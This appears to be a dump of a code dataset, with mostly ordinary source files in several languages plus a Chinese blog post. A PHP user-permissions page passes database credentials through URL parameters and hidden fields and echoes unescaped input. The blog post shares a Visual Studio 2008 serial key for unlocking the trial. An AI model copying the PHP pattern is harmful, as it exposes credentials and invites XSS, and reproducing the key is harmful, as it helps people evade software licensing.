language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
PHP
UTF-8
3,046
2.609375
3
[]
no_license
<?php include_once(ROOT."/functions/database_management.php"); /* drawUserDataTable */ /* ** Description: Shows the table with the users and the option to change staff, status, and permissions. ** Return value: Void. */ function drawUserDataTable() { $games = array( 'main', 'dead_cells', 'kube', 'monstruhotel2', 'hammerfest', 'mush', 'zombinoia', 'alphabounce', 'street_writer', 'kadokado', 'monstruhotel', 'arkadeo', 'teacher_story', 'snake', 'carapass', 'kingdom', 'rockfaller_journey', 'minitroopers', 'dinorpg', 'elbruto', 'drakarnage', 'fever'); echo '<table id="userTable">'; echo '<tr>'; echo '<th><b>User</b></th> <th><b>Status</b></th> <th><b>Staff</b></th>'; foreach( $games as $game ) echo '<th><b>'.ucfirst($game[0]).'</b></th>'; echo'<th><b>Submit</b></th> </tr>'; while( $username = getUser() ) printUserData($username, $games); echo "</table>"; } /* printUserData */ /* ** Parameters: $user. ** Description: Prints the user with all the form to edit. ** Return value: Void. */ function printUserData($username, $games) { $status = getStatus($username); $isStaff = isStaff($username); if( $status != 'active' && $status != 'frozen' ) { $unregisValue = $status; $active = ''; $frozen = ''; $unregistered = 'selected'; } else { $unregisValue = 'unregist'; $active = ($status == 'active') ? 'selected' : ''; $frozen = ($status == 'frozen') ? 'selected' : ''; $unregistered = ''; } if( $isStaff ) { $Ystaff = 'selected'; $Nstaff = ''; } else { $Ystaff = ''; $Nstaff = 'selected'; } if( $isStaff ) { foreach( $games as $game ) { if( hasPriviledge($username, $game) ) { ${"Y".$game} = 'selected'; ${"N".$game} = ''; } else { ${"Y".$game} = ''; ${"N".$game} = 'selected'; } } } echo '<form method="post" action="/permissions/?DBuser='.$_GET["DBuser"].'&DBpassword='.$_GET["DBpassword"].'" \>'; echo '<input type="hidden" name="user" value="'.$username.'">'; echo '<input type="hidden" name="DBuser" value="'.$_GET['DBuser'].'">'; echo '<input type="hidden" name="DBpassword" value="'.$_GET['DBpassword'].'">'; echo '<tr>'; echo '<td>'.$username.'</td>'; echo '<td><select name="status">'; echo'<option value="active" '.$active.'>active</option>'; echo'<option value="frozen" '.$frozen.'>frozen</option>'; echo'<option value="'.$unregisValue.'" '.$unregistered.'>unregistered</option>'; echo '</select></td>'; echo '<td><select name="staff">'; echo'<option value="1" '.$Ystaff.'>Y</option>'; echo'<option value="0" '.$Nstaff.'>N</option>'; echo '</select></td>'; if( $isStaff ) { foreach( $games as $game ) { echo '<td><select name="'.$game.'">'; echo'<option value="1" '.${"Y".$game}.'>Y</option>'; echo'<option value="0" '.${"N".$game}.'>N</option>'; echo '</select></td>'; } } else echo '<td colspan="'.count( $games ).'"><center>-</center></td>'; echo '<td><input type="submit" name="send" value="Edit" /></td>'; echo '</tr></form>'; } ?>
Markdown
UTF-8
1,627
2.515625
3
[]
no_license
--- title: Visual Studio 2008 简体中文专业版下载 附序列号 date: 2008-04-22 excerpt: | <p>Visual Studio 2008 简体中文专业版下载 附序列号 <br /> <br /> 建议先去微软官方下载90天试用版,这样比较安全: <br /> <br /> <a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&amp;DisplayLang=zh-cn">http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&amp;DisplayLang=zh-cn</a> <br /> <br /> 试用版变正式版方法,先安装试用版,然后在&ldquo;添加或删除程序&rdquo;里找到VS2008,点&ldquo;更改/删除&rdquo;就会看到一个输入序列号的地方,把下面这个序列号输进去即可,Team Suite和Professional通用 <br /> <br /> PYHYP-WXB3B-B2CCM-V9DX9-VDY8T</p> layout: post permalink: /posts/20080422-191.html categories: - 其他技术 --- Visual Studio 2008 简体中文专业版下载 附序列号 建议先去微软官方下载90天试用版,这样比较安全: <a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&DisplayLang=zh-cn">http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&DisplayLang=zh-cn</a> 试用版变正式版方法,先安装试用版,然后在&ldquo;添加或删除程序&rdquo;里找到VS2008,点&ldquo;更改/删除&rdquo;就会看到一个输入序列号的地方,把下面这个序列号输进去即可,Team Suite和Professional通用 PYHYP-WXB3B-B2CCM-V9DX9-VDY8T
Java
UTF-8
1,421
2.171875
2
[]
no_license
package com.eg.egsc.scp.simulator.codec; import org.springframework.stereotype.Component; import com.eg.egsc.scp.simulator.dto.ProtocolBody; import com.eg.egsc.scp.simulator.dto.ProtocolHeader; import com.eg.egsc.scp.simulator.util.Int2ByteUtil; import io.netty.buffer.ByteBuf; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelHandler.Sharable; import io.netty.handler.codec.MessageToByteEncoder; //@Component public class ProtocolEncoder extends MessageToByteEncoder<ProtocolBody> { @Override protected void encode(ChannelHandlerContext ctx, ProtocolBody msg, ByteBuf out) throws Exception { // 将Message转换成二进制数据 ProtocolHeader header = msg.getProtocolHeader(); // 这里写入的顺序就是协议的顺序. // 写入Header信息 out.writeBytes(header.getVersion().getBytes()); out.writeBytes(header.getSrcID().getBytes()); out.writeBytes(header.getDestId().getBytes()); out.writeBytes(Int2ByteUtil.intTo1Bytes(Integer.parseInt(header.getRequestFlag()))); out.writeBytes(Int2ByteUtil.intTo4Bytes(Integer.parseInt(header.getPackageNo()))); out.writeBytes(Int2ByteUtil.intTo4Bytes(header.getDataLength())); out.writeShort(header.getHold()); out.writeBytes(Int2ByteUtil.intTo2Bytes(Integer.parseInt(header.getCrc16()))); // 写入消息主体信息 out.writeBytes(msg.getProtocolDataBytes()); } }
C#
UTF-8
1,536
2.578125
3
[]
no_license
using Inter_KissEspataria.Data; using Inter_KissEspataria.Models; using Microsoft.AspNetCore.Mvc; namespace Inter_KissEspataria.Controllers { public class ProdutoController : Controller { public IActionResult Index() { using (var data = new ProdutoData()) return View(data.Read()); } [HttpGet] public IActionResult Create() { return View(); } [HttpPost] public IActionResult Create(Produto produto) { if (!ModelState.IsValid) { return View(produto); } using (var data = new ProdutoData()) data.Create(produto); return RedirectToAction("Index", produto); } public IActionResult Delete(int id) { using (var data = new ProdutoData()) data.Delete(id); return RedirectToAction("Index", "Produto"); } [HttpGet] public IActionResult Update(int id) { using (var data = new ProdutoData()) return View(data.Read(id)); } [HttpPost] public IActionResult Update(int id, Produto produto) { produto.ProdutoId = id; if (!ModelState.IsValid) return View(produto); using (var data = new ProdutoData()) data.Update(produto); return RedirectToAction("Index", "Produto"); } } }
Java
UTF-8
4,733
2.15625
2
[]
no_license
package com.lostad.app.base.view.component; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import android.widget.TextView; import com.lostad.app.demo.R; import com.lostad.applib.util.ui.ContextUtil; import com.lostad.applib.view.BaseAppActivity; import org.xutils.view.annotation.Event; import org.xutils.x; import java.io.Serializable; import java.util.HashMap; import java.util.Map; /** * 返回上一页的基类 * Created by Hocean on 2016/12/20. */ //@ContentView(R.layout.activity_base_his_head_default) public abstract class BaseHisActivity extends BaseAppActivity { //protected HeaderLayout headerLayout; private Intent intentData; public final static String TITLE = "title"; public abstract Bundle setResult(Bundle bundle); //@ViewInject(R.id.body) //protected LinearLayout body; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //x.view().inject(this); intentData = this.getIntent(); //this.requestWindowFeature(Window.FEATURE_CUSTOM_TITLE); //this.setContentView(R.layout.activity_base_his_head_default); //this.getWindow().setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.activity_base_his_head_default); // TextView textView = (TextView) this.findViewById(R.id.head_center_text); // textView.setText("title"); // Button titleBackBtn = (Button) this.findViewById(R.id.TitleBackBtn); // titleBackBtn.setOnClickListener(new View.OnClickListener() { // public void onClick(View v) { // // BaseHisActivity.finish(); // } // }); } public void loadLayout(ViewGroup vg){ ContextUtil.getLayoutInflater(vg.getContext()).inflate(R.layout.activity_base_his_head,vg); Bundle bundle = intentData.getExtras(); // ContextUtil.getBundle(this); if(bundle != null ){ //确定窗口传值了 TextView tv = (TextView) vg.findViewById(R.id.textViewTitle); if(tv != null){ String title = bundle.getString(TITLE, ""); tv.setText(title); } } View buttonBack = vg.findViewById(R.id.buttonBack); if(buttonBack != null){ buttonBack.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBack(); } }); } View buttonSubmit = vg.findViewById(R.id.buttonSubmit); if(buttonSubmit != null){ buttonSubmit.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onSubmit(); } }); } // vg.removeAllViews(); // vg.addView(view); } @Deprecated public void setBodyContentView(int rid){ setBodyContentView(ContextUtil.loadLayout(rid)); } @Deprecated public void setBodyContentView(View view){ this.setContentView(R.layout.activity_base_his_head_default); LinearLayout body = (LinearLayout) this.findViewById(R.id.body); body.removeAllViews(); body.addView(view); loadLayout(body); } @Event(R.id.buttonBack) private void onClickButtonBack(View v){ onBack(); } @Event(R.id.buttonSubmit) private void onClickButtonSubmit(View v){ onSubmit(); } /** * 带覆盖 */ public void onSubmit(){ Bundle bundle=setResult(getExtras()); if(bundle != null){ intentData.putExtras(bundle); } setResult(RESULT_OK, intentData); //intent为A传来的带有Bundle的intent,当然也可以自己定义新的Bundle quitApp(); } /** * 返回上一页 */ public void onBack(){ quitApp(); } /** * 得到上一页传递的值 * @return */ public Bundle getExtras(){ Bundle b = intentData.getExtras(); if(b == null){ b = new Bundle(); } return b; } @Override public void quitApp() { finish(); } protected void x(Activity act){ x.view().inject(act); } public static Map<String, Serializable> markParms(Serializable... parms){ Map<String, Serializable> map = new HashMap<>(); if(parms != null){ for (int i = 0; i+1 < parms.length; i+=2) { map.put((String) parms[i],parms[i+1]); } } return map; } }
Java
UTF-8
934
1.609375
2
[]
no_license
/** */ package org.sqlproc.model.processorModel.impl; import org.eclipse.emf.ecore.EClass; import org.sqlproc.model.processorModel.PojoAttributeDirectiveIsDef; import org.sqlproc.model.processorModel.ProcessorModelPackage; /** * <!-- begin-user-doc --> * An implementation of the model object '<em><b>Pojo Attribute Directive Is Def</b></em>'. * <!-- end-user-doc --> * <p> * </p> * * @generated */ public class PojoAttributeDirectiveIsDefImpl extends PojoAttributeDirectiveImpl implements PojoAttributeDirectiveIsDef { /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ protected PojoAttributeDirectiveIsDefImpl() { super(); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override protected EClass eStaticClass() { return ProcessorModelPackage.Literals.POJO_ATTRIBUTE_DIRECTIVE_IS_DEF; } } //PojoAttributeDirectiveIsDefImpl
Java
UTF-8
917
2.078125
2
[]
no_license
package com.gcs.beans; import java.util.Date; import javax.jdo.annotations.IdGeneratorStrategy; import javax.jdo.annotations.PersistenceCapable; import javax.jdo.annotations.Persistent; import javax.jdo.annotations.PrimaryKey; import com.google.appengine.api.datastore.Key; @PersistenceCapable public class FechaCalendada { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Key key; @Persistent private String str_fecha ; @Persistent private Date fecha ; public Key getKey() { return key; } public void setKey(Key key) { this.key = key; } public String getStr_fecha () { return str_fecha ; } public void setStr_fecha (String str_fecha ) { this.str_fecha = str_fecha ; } public Date getFecha () { return fecha ; } public void setFecha (Date fecha ) { this.fecha = fecha ; } }
Markdown
UTF-8
1,495
2.8125
3
[]
no_license
# Consumir API con Laravel Ejercicio de consumir una API utilizando Laravel git clone https://github.com/JohnnyAndres/ConsumirAPILaravel.git cd ConsumirAPILaravel composer install npm install npm run dev php artisan serve Con el fin de desarrollar el ejercicio propuesto, consumir la API "https://jsonplaceholder.typicode.com/todos", se ha desarrollado este proyecto de laravel. Se simula que los datos provenienetes de la API representan los datos de usuarios de alguna empresa y se crea un CRUD para poder acceder y manejar los datos. En el proyecto se ha creado un modulo User, dentro del cual existe un controlador, "userController", que contiene direntes funciones que realizan peticiones get, put, update y post a la API segun lo requiera el usuario desde el frontend. Los endpoints que apuntan a dichas funciones se encuentran en el carpeta routes del modulo User, estos endpoints son los encargados tambien de recibir la peticion que viene del lado de usuario. Para el desarrollo de la interfaz de Usuario se opto por integrar VueJs para realizar peticiones al backend, los componentes que integran la interfaz se encuentran en la carpeta .Modules/User/resources/js/components, las respuestas a estas peticiones son recibidas por Vue y mostrados en una tabla que nos brinda la libreria Element UI, desde esta tabla es posible visualizar los datos de los usuarios almacenados en la API, ademas de poder agregar usuarios a la lista, eliminarlos y editar algunos de sus datos.
JavaScript
UTF-8
1,492
2.90625
3
[]
no_license
const searchElement = document.querySelector('[data-city-search]') const searchBox = new google.maps.places.SearchBox(searchElement) searchBox.addListener('places_changed', () => { const place = searchBox.getPlaces()[0] if (place == null) return const latitude = place.geometry.location.lat() const longitude = place.geometry.location.lng() fetch('/weather', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: JSON.stringify({ latitude: latitude, longitude: longitude }) }).then(res => res.json()).then(data => { setWeatherData(data, place.formatted_address) }) }) const iconstuff = document.getElementById('icon-weather') const locationElement = document.querySelector('[data-location]') const statusElement = document.querySelector('[data-status]') const tempElement = document.querySelector('[data-temp]') const humElement = document.querySelector('[data-pre]') const windElement = document.querySelector('[data-wind]') function setWeatherData(data, place) { locationElement.textContent = place statusElement.textContent = data.weather[0].description tempElement.textContent = data.temp humElement.textContent = `${data.humidity}%` windElement.textContent = data.wind_speed const iconUrl = "http://openweathermap.org/img/w/" + data.weather[0].icon + ".png" iconstuff.src = iconUrl } iconstuff.src = "http://openweathermap.org/img/w/01d.png"
C#
UTF-8
2,731
2.515625
3
[]
no_license
using System.Collections; using System.Collections.Generic; using UnityEngine; //ゲーム画面の弾丸を管理するクラス。 public class GameBulletsManager : SingletonMonoBehaviour<GameBulletsManager> { //要塞。 [SerializeField] Fortress _PlayerFortress; //弾薬のUIのプレハブ。 [SerializeField] private GameObject _BulletUIPrefab; //弾丸のUIを配置するリスト。 [SerializeField] private Transform _BulletsListUI; private List<BulletUI> _UIList = new List<BulletUI>(); //弾丸のプレハブ。 [SerializeField] private GameObject _BulletBasePrefab; private List<GameObject> _Bullets = new List<GameObject>(); //おかしい気がするけど。 //爆発のプレハブ。 [SerializeField] private GameObject _ExplosionPrefab; //爆発を配置するリスト。 [SerializeField] private Transform _ExplosionList; private List<GameObject> _BomList = new List<GameObject>(); private void Start() { //一番最初に生成しておく。 //UI作成。 for (int i = 0; i < _PlayerFortress.ammoLimitNum; i++) { GameObject obj = Instantiate(_BulletUIPrefab, _BulletsListUI); obj.SetActive(false); _UIList.Add(obj.GetComponent<BulletUI>()); } //弾丸作成。 for (int i = 0; i < 60; i++) { GameObject bullet = Instantiate(_BulletBasePrefab,transform); bullet.name = "Bullet_" + i; bullet.SetActive(false); _Bullets.Add(bullet); } //爆発作成。 for (int i = 0; i < 60; i++) { GameObject bom = Instantiate(_ExplosionPrefab, _ExplosionList); bom.SetActive(false); _BomList.Add(bom); } } //弾丸のUI表示。 public void DisplayBulletUI(BulletInfo info) { //非アクティブなUIを取得。 BulletUI ui = _UIList.Find((a) => a.gameObject.activeSelf == false); ui.gameObject.SetActive(true); //一番後ろに回す。 ui.transform.SetAsLastSibling(); ui.bulletInfo = info; } //弾丸を取得。 public GameObject GetBullet() { //非アクティブな弾丸を取得。 GameObject bullet = _Bullets.Find((a) => a.gameObject.activeSelf == false); bullet.SetActive(true); return bullet; } //爆発を表示。 public GameObject Explosion() { //非アクティブな弾丸を取得。 GameObject bom = _BomList.Find((a) => a.gameObject.activeSelf == false); bom.SetActive(true); return bom; } }
JavaScript
UTF-8
431
3.546875
4
[]
no_license
export class Bag { constructor() { this.dictionary = []; this.nElement = 0; } add(element) { this.dictionary.push(element); this.nElement++; return this; } isEmpty() { return this.nElement > 0; } contains(item) { return this.dictionary.includes(item); } /** * unpack the bag , and get all items */ unpack() { // return a copy is better than original return this.dictionary.slice(); } }
Python
UTF-8
3,130
2.984375
3
[ "MIT" ]
permissive
#!/usr/bin/env python """ Aligns the largest dimension of a protein with the reference Z axis. Uses Ca only. .2017. Joao Rodrigues """ from __future__ import print_function import argparse import mdtraj as md import numpy as np ap = argparse.ArgumentParser(description=__doc__) ap.add_argument('pdb', help='Input PDB file') cmd = ap.parse_args() # Read PDB Ca atoms to numpy array pdb = md.load(cmd.pdb) ca_pdb = pdb.atom_slice(pdb.topology.select('name CA')) atoms = ca_pdb.xyz[0] print('[=] Read {} CA atoms'.format(len(atoms))) # Center coordinates on origin com_xyz = atoms.mean(axis=0) atoms -= com_xyz print('[=] Shifting coordinates to origin: {:10.3f} {:10.3f} {:10.3f}'.format(*com_xyz)) # Calculate inertia tensor # formulae from wikipedia (center of mass on origin) ixx = np.sum(atoms[:,1] ** 2 + atoms[:,2] ** 2) iyy = np.sum(atoms[:,0] ** 2 + atoms[:,2] ** 2) izz = np.sum(atoms[:,0] ** 2 + atoms[:,1] ** 2) ixy = iyx = -1 * np.sum(atoms[:,0] * atoms[:,1]) ixz = izx = -1 * np.sum(atoms[:,0] * atoms[:,2]) iyz = izy = -1 * np.sum(atoms[:,1] * atoms[:,2]) print('[=] Inertia Tensor') print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(ixx, ixy, ixz)) print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(iyx, iyy, iyz)) print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(izx, izy, izz)) # Diagonalize the tensor to get principal axes I = np.array([ [ixx, ixy, ixz], [iyx, iyy, iyz], [izx, izy, izz] ]) eval, evec = np.linalg.eig(I) print('[=] Principal Axes') for ax in range(3): print(' [ {0[0]:10.3f} {0[1]:10.3f} {0[2]:10.3f} ] ({1:10.3f})'.format(evec[:,ax], eval[ax])) # Get largest princ. axis lpc_i = np.argmin(eval) lpc = evec[:, lpc_i] print('[=] Largest principal axis: [ {0[0]:10.3f} {0[1]:10.3f} {0[2]:10.3f} ] ({1:10.3f})'.format(lpc, eval[lpc_i])) # Build rotation matrix to align onto target vector (0,0,1) # based on GMX Code targetvec = np.array([0,0,1], dtype=np.float) costheta = np.dot(lpc, targetvec) / ((np.linalg.norm(lpc) * np.linalg.norm(targetvec))) sintheta = np.sqrt(1 - costheta**2) rotvec = np.cross(lpc, targetvec) / np.linalg.norm(np.cross(lpc, targetvec)) print('[=] Rotation Axis: [ {0[0]:10.3f} {0[1]:10.3f} {0[2]:10.3f} ])'.format(rotvec)) ux, uy, uz = rotvec R = np.empty((3,3), dtype=np.float) R[0][0] = ux**2 + (1.0 - ux**2) * costheta R[0][1] = ux * uy * (1 - costheta) - (uz * sintheta) R[0][2] = ux * uz * (1 - costheta) + (uy * sintheta) R[1][0] = ux * uy * (1 - costheta) + (uz * sintheta) R[1][1] = uy**2 + (1 - uy**2) * costheta R[1][2] = uy * uz * (1 - costheta) - (ux * sintheta) R[2][0] = ux * uz * (1 - costheta) - (uy * sintheta) R[2][1] = uy * uz * (1 - costheta) + (ux * sintheta) R[2][2] = uz**2 + (1 - uz**2) * costheta print('[=] Rotation Matrix about axis ({} {} {})'.format(*targetvec)) print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(R[0][0], R[0][1], R[0][2])) print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(R[1][0], R[1][1], R[1][2])) print(' [ {:10.3f} {:10.3f} {:10.3f} ]'.format(R[2][0], R[2][1], R[2][2])) # Output rotated structure pdb.xyz[0] = np.dot(pdb.xyz[0], R.T) pdb.save('{}_alnZ.pdb'.format(cmd.pdb[:-4]))
Ruby
UTF-8
1,500
2.6875
3
[ "MIT" ]
permissive
# # Loads the Pivotal-Git configuration file # # - config_path is the path to the pivotal-git configuration file # This loads the file. Throws an error if a key (such as api_token, path, id) # is missing. Check #general_error_message for more info # module PGit class Configuration def self.default_options { 'projects' => [ { 'api_token' => 'somepivotalatoken124', 'id' => '12345', "path" => "~/some/path/to/a/pivotal-git/project" }, { 'api_token' => 'somepivotalatoken124', 'id' => '23429070', "path" => "~/some/other/pivotal-git/project" } ] } end attr_reader :config_path, :yaml def initialize(config_path = '~/.pgit.rc.yml') @config_path = config_path @expanded_path = File.expand_path(config_path) @yaml = YAML::load_file(@expanded_path) || {} @projs = @yaml.fetch("projects") { [] } rescue Exception => e if e.message.match(/No such file or directory/) f = File.new(@expanded_path, 'w'); f.close end end def projects=(new_projects) @projs = new_projects.map {|p| p.to_hash} end def projects @projs.map {|proj| PGit::Project.new(self, proj) } end def to_hash { 'projects' => projects.map { |proj| proj.to_hash } } end def save! file = File.new(@expanded_path, 'w') YAML.dump(to_hash, file) file.close end end end
Java
UTF-8
2,981
2.171875
2
[]
no_license
package com.shinetech.mvp.network.UDP.bean.orderBean; import android.text.TextUtils; import com.shinetech.mvp.network.UDP.bean.BaseVo; /** * Created by ljn on 2017-12-20. */ public class MaintenanceOrderProgress extends BaseVo{ /** * 流程名称 */ private String progressName; /** * 处理人 */ private String disposePerson; /** * 处理时间 */ private String disposeTime; /** * 处理结果 */ private byte disposeResult; /** * 处理意见 */ private String disposeOpinion; public MaintenanceOrderProgress(String progressName, String disposePerson, String disposeTime, byte disposeResult, String disposeOpinion) { this.progressName = progressName; this.disposePerson = disposePerson; this.disposeTime = disposeTime; this.disposeResult = disposeResult; this.disposeOpinion = disposeOpinion; } public MaintenanceOrderProgress() { } @Override public Object[] getProperties() { return new Object[]{progressName, disposePerson, disposeTime, disposeResult, disposeOpinion}; } @Override public void setProperties(Object[] properties) { this.progressName = parseString((byte[]) properties[0]); this.disposePerson = parseString((byte[]) properties[1]); this.disposeTime = parseString((byte[]) properties[2]); this.disposeResult = (byte) properties[3]; this.disposeOpinion = parseString((byte[]) properties[4]); } @Override public short[] getDataTypes() { return new short[]{STRING, STRING, STRING, BYTE, STRING}; } public String getProgressName() { return progressName; } public void setProgressName(String progressName) { this.progressName = progressName; } public String getDisposePerson() { return disposePerson; } public void setDisposePerson(String disposePerson) { this.disposePerson = disposePerson; } public String getDisposeTime() { return disposeTime; } public void setDisposeTime(String disposeTime) { this.disposeTime = disposeTime; } public byte getDisposeResult() { return disposeResult; } public void setDisposeResult(byte disposeResult) { this.disposeResult = disposeResult; } public String getDisposeOpinion() { return disposeOpinion; } public void setDisposeOpinion(String disposeOpinion) { this.disposeOpinion = disposeOpinion; } @Override public String toString() { return "MaintenanceOrderProgress{" + "progressName='" + progressName + '\'' + ", disposePerson='" + disposePerson + '\'' + ", disposeTime='" + disposeTime + '\'' + ", disposeResult=" + disposeResult + ", disposeOpinion='" + disposeOpinion + '\'' + '}'; } }
Java
UTF-8
6,141
2.46875
2
[]
no_license
package com.example.lesson41_petstore_swagger.service.serviceSpringDataJPA; import com.example.lesson41_petstore_swagger.aggregators.PetAggregator; import com.example.lesson41_petstore_swagger.entity.*; import static org.junit.jupiter.api.Assertions.*; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.TestInstance; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.aggregator.AggregateWith; import org.junit.jupiter.params.provider.CsvSource; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import java.util.ArrayList; import java.util.List; import java.util.Optional; @TestInstance(TestInstance.Lifecycle.PER_CLASS) @SpringBootTest class PetServiceSpringDataJPATest { private final PetServiceSpringDataJPA petService; private static final List<Pet> pets = new ArrayList<>(); @Autowired PetServiceSpringDataJPATest(PetServiceSpringDataJPA petService) { this.petService = petService; } @BeforeAll void initializationOfPets(){ Pet pet1 = Pet.builder() .id(1) .category(Category.builder() .name("dog").build()) .name("Toddy") .tag(List.of(Tag.builder() .name("123") .build(), Tag.builder() .name("456") .build())) .status(StatusPet.available) .build(); Pet pet2 = Pet.builder() .id(2) .category(Category.builder() .name("dog").build()) .name("Nort") .tag(List.of(Tag.builder() .name("1234") .build(), Tag.builder() .name("4456") .build())) .status(StatusPet.sold) .build(); petService.addPet(pet1); petService.addPet(pet2); } @ParameterizedTest @CsvSource({"1, Toddy, available", "2, Nort, sold" }) @DisplayName("addPet") void addPet(@AggregateWith(PetAggregator.class) Pet pet) { petService.addPet(pet); assertEquals(2, petService.getAll().size());//expected, actual } @ParameterizedTest @CsvSource({"1, Toddy, available"}) @DisplayName("findById") void findById(@AggregateWith(PetAggregator.class) Pet pet) { Optional<Pet> byId = petService.findById(pet.getId()); assertEquals(pet, byId.get()); } @ParameterizedTest @CsvSource({"1, Toddy, available"}) @DisplayName("updatePet") void updatePet(@AggregateWith(PetAggregator.class) Pet pet) { petService.updatePet(pet); assertEquals(pet, petService.findByStatus(pet.getStatus().toString()).get().get(0)); } @ParameterizedTest @CsvSource({"1, Toddy, available"}) @DisplayName("findByStatus") void findByStatus(@AggregateWith(PetAggregator.class) Pet pet) { assertEquals(pet, petService.findByStatus(pet.getStatus().toString()).get().get(0)); } @Test void getAll() { assertEquals(2, petService.getAll().size()); } @ParameterizedTest @CsvSource({"1, Toddy, available"}) @DisplayName("deleteById") void deleteById(@AggregateWith(PetAggregator.class) Pet pet) { petService.deleteById(pet.getId()); assertEquals(1, petService.getAll().size()); } //without parametrized test // // @BeforeAll // void initializationOfPets(){ // pets.add(Pet.builder() // .id(1) // .category(Category.builder() // .name("dog").build()) // .name("Toddy") // .tag(List.of(Tag.builder() // .name("123") // .build(), // Tag.builder() // .name("456") // .build())) // .status(StatusPet.available) // .build()); // pets.add(Pet.builder() // .id(2) // .category(Category.builder() // .name("dog").build()) // .name("Nort") // .tag(List.of(Tag.builder() // .name("1234") // .build(), // Tag.builder() // .name("4456") // .build())) // .status(StatusPet.sold) // .build()); // // } // // // @Test // void addPet_and_findById() { // petService.addPet(pets.get(0)); // // assertEquals(pets.get(0), petService.findById(pets.get(0).getId()).get()); // } // // @Test // void updatePet() { // Tag tag1 = new Tag(1, "123"); // Tag tag2 = new Tag(2, "456"); // List<Tag> tags = new ArrayList<>(); // tags.add(0, tag1); // tags.add(1, tag2); // // Pet updatedPet = new Pet(1, new Category(1, "dog"), "newDog", tags, StatusPet.available); // // petService.updatePet(updatedPet); // assertNotEquals(pets.get(0), petService.findById(updatedPet.getId())); // } // // @Test // void findByStatus() { // petService.addPet(pets.get(0)); // // assertEquals(pets.get(0), petService.findByStatus("available").get().get(0)); // } // // // @Test // void getAll() { // petService.addPet(pets.get(0)); // petService.addPet(pets.get(1)); // // assertEquals(2, petService.getAll().size()); // } // // @Test // void deleteById() { // petService.addPet(pets.get(0)); // petService.addPet(pets.get(1)); // // petService.deleteById(pets.get(0).getId()); // // assertEquals(1, petService.getAll().size()); // } }
Java
UTF-8
1,218
2.109375
2
[]
no_license
package com.faishalbadri.hijab.ui.verify_code; import com.faishalbadri.hijab.repository.verify_code.VerifyCodeDataResource.VerifyCodeGetCallback; import com.faishalbadri.hijab.repository.verify_code.VerifyCodeRepository; import com.faishalbadri.hijab.ui.verify_code.VerifyCodeContract.VerifyCodeView; /** * Created by faishal on 23/12/17. */ public class VerifyCodePresenter implements VerifyCodeContract.VerifyCodePresenter { private VerifyCodeRepository verifyCodeRepository; private VerifyCodeContract.VerifyCodeView verifyCodeView; public VerifyCodePresenter( VerifyCodeRepository verifyCodeRepository) { this.verifyCodeRepository = verifyCodeRepository; } @Override public void onAttachView(VerifyCodeView view) { this.verifyCodeView = view; } @Override public void onDettachView() { } @Override public void getDataVerifyCode() { verifyCodeRepository.getVerifyCodeResult(new VerifyCodeGetCallback() { @Override public void onSuccesVerifyCode(String msg) { verifyCodeView.onSuccesVerifyCode(msg); } @Override public void onErrorVerifyCode(String msg) { verifyCodeView.onErrorVerifyCode(msg); } }); } }
Java
UTF-8
2,181
2.65625
3
[]
no_license
package com.company.tradingSystem.stock.junit; import com.company.tradingSystem.SSSMException; import com.company.tradingSystem.factories.StockFactory; import com.company.tradingSystem.stock.PreferredStock; import junit.framework.TestCase; import java.util.Date; public class PreferredStockTest extends TestCase { public void testCreates() throws Exception { PreferredStock stock = (PreferredStock) StockFactory.getStock("test2", 321, 100, 1.5); assertNotNull(stock); assertEquals(100, stock.getParValue()); assertEquals("test2", stock.getName()); assertEquals(1.5, stock.getDividend()); assertEquals(0.0075, stock.getDividendYield(200)); assertEquals(100.0, stock.getPERatio(150)); assertEquals(0, stock.getTrades().size()); assertEquals(0.0, stock.getVolumeWeightedStockPrice5Min(new Date())); // as non added } public void testFails() throws Exception { try { PreferredStock stock = (PreferredStock) StockFactory.getStock("test1", 1000, 0, 1.5); fail("Should have thrown SSSMException due to bad input"); } catch(SSSMException e) {} try { PreferredStock stock = (PreferredStock) StockFactory.getStock("test1", -1, 1000, 1.5); fail("Should have thrown SSSMException due to bad input"); } catch(SSSMException e) {} try { PreferredStock stock = (PreferredStock) StockFactory.getStock("test1", 1000, -1, 1.5); fail("Should have thrown SSSMException due to bad input"); } catch(SSSMException e) {} try { PreferredStock stock = (PreferredStock) StockFactory.getStock("test1", 1000, 1000, -1.5); fail("Should have thrown SSSMException due to bad input"); } catch(SSSMException e) {} try { PreferredStock stock = (PreferredStock) StockFactory.getStock(null, 1000, 1000, 1.5); fail("Should have thrown SSSMException due to bad input"); } catch(SSSMException e) {} } }
Java
UTF-8
286
1.679688
2
[]
no_license
